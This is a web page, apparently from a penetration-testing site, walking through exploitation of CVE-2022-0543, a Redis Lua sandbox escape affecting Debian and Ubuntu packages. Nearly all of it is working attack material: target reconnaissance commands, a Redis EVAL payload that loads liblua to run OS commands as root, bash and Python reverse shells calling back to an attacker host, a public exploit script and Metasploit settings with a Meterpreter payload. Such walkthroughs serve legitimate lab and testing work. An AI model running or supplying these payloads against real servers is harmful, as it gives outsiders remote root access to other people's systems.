Skip to content
HackIndex logo

HackIndex

CVE-2022-0543 – Redis Lua Sandbox Escape RCE

4 min read Mar 14, 2026

Debian and Ubuntu package Redis with a dynamically linked Lua library and failed to disable the package interface in the Lua sandbox. The package.loadlib function lets you load arbitrary shared libraries — specifically liblua — and call functions like io.popen to execute OS commands. This bypasses the Redis sandbox entirely from within a Redis EVAL call. No CONFIG access, no file writes, no module loading required.

Affects Redis on Debian Buster/Bullseye and Ubuntu 20.04/21.10 with Redis packages below the patched versions. Does not affect upstream Redis or non-Debian distributions.

CVSS score: 10.0 — exploitable unauthenticated (or authenticated) remotely.

Prerequisites Check

1 – Confirm the target is Debian or Ubuntu:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 info server | grep os

Output like os:Linux 5.15.0 x86_64 on a known Debian/Ubuntu target is a good indicator. Or check directly if you have any shell:

┌──(kali㉿kali)-[~]
└─$ cat /etc/os-release

2 – Check Redis version:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 info server | grep redis_version

Vulnerable versions:

  • Debian: redis < 5:6.0.16-1+deb11u2 or < 5:5.0.14-1+deb10u2

  • Ubuntu 20.04: redis < 5:6.0.9-1ubuntu0.1

  • Ubuntu 21.10: redis < 5:6.2.6-1ubuntu0.1

3 – Confirm EVAL is available:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval "return 1" 0

Must return (integer) 1, not an error.

4 – Confirm the Lua library path:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval "return package.loadlib" 0

If this returns a function reference rather than nil, the package variable is accessible and the target is likely vulnerable.

Find the exact liblua path:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval "return package.path" 0

Or from a shell on target:

┌──(kali㉿kali)-[~]
└─$ find /usr/lib -name "liblua*" 2>/dev/null

Common paths:

  • Ubuntu 20.04 x86_64: /usr/lib/x86_64-linux-gnu/liblua5.1.so.0

  • Debian Buster: /usr/lib/x86_64-linux-gnu/liblua5.1.so.0

  • ARM: /usr/lib/arm-linux-gnueabihf/liblua5.1.so.0

Step 1 – Test Command Execution

Verify the sandbox is escapable by running id:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
"uid=0(root) gid=0(root) groups=0(root)\n"

If you see uid=... in the output, you have unauthenticated OS command execution.

Step 2 – Get a Reverse Shell

Start your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Execute a reverse shell via the Lua escape:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash -c '"'"'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"'"'", "r"); local res = f:read("*a"); f:close(); return res' 0

Or use a Python reverse shell to avoid bash quoting issues:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("python3 -c \"import os,socket,subprocess;s=socket.socket();s.connect(('$LHOST',$LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['/bin/sh','-i'])\"", "r"); local res = f:read("*a"); f:close(); return res' 0

Step 3 – Use the PoC Script (Simpler)

Clone the public PoC for cleaner execution:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/JacobEbben/CVE-2022-0543
┌──(kali㉿kali)-[~]
└─$ cd CVE-2022-0543
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -t $TARGET_IP -p 6379 -c "id"

Reverse shell:

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -t $TARGET_IP -p 6379 -c "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

For an authenticated target:

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -t $TARGET_IP -p 6379 -a $PASSWORD -c "id"

Metasploit Module

┌──(kali㉿kali)-[~]
└─$ msfconsole
use exploit/linux/redis/redis_debian_sandbox_escape
set RHOSTS $TARGET_IP
set LHOST $LHOST
set LUA_LIB /usr/lib/x86_64-linux-gnu/liblua5.1.so.0
set PASSWORD $PASSWORD
run

Note: Ubuntu Redis runs under systemd with MemoryDenyWriteExecute, which breaks staged Meterpreter. Use a stageless payload:

┌──(kali㉿kali)-[~]
└─$ set payload linux/x64/meterpreter_reverse_tcp

Why This Fails

  • Target is not Debian/Ubuntu — the vulnerability is packaging-specific

  • Redis has been patched — patched versions set package = nil in the Lua environment

  • package.loadlib returns nil — patch is applied

  • Wrong liblua path — adjust the path to match the installed version on the target

References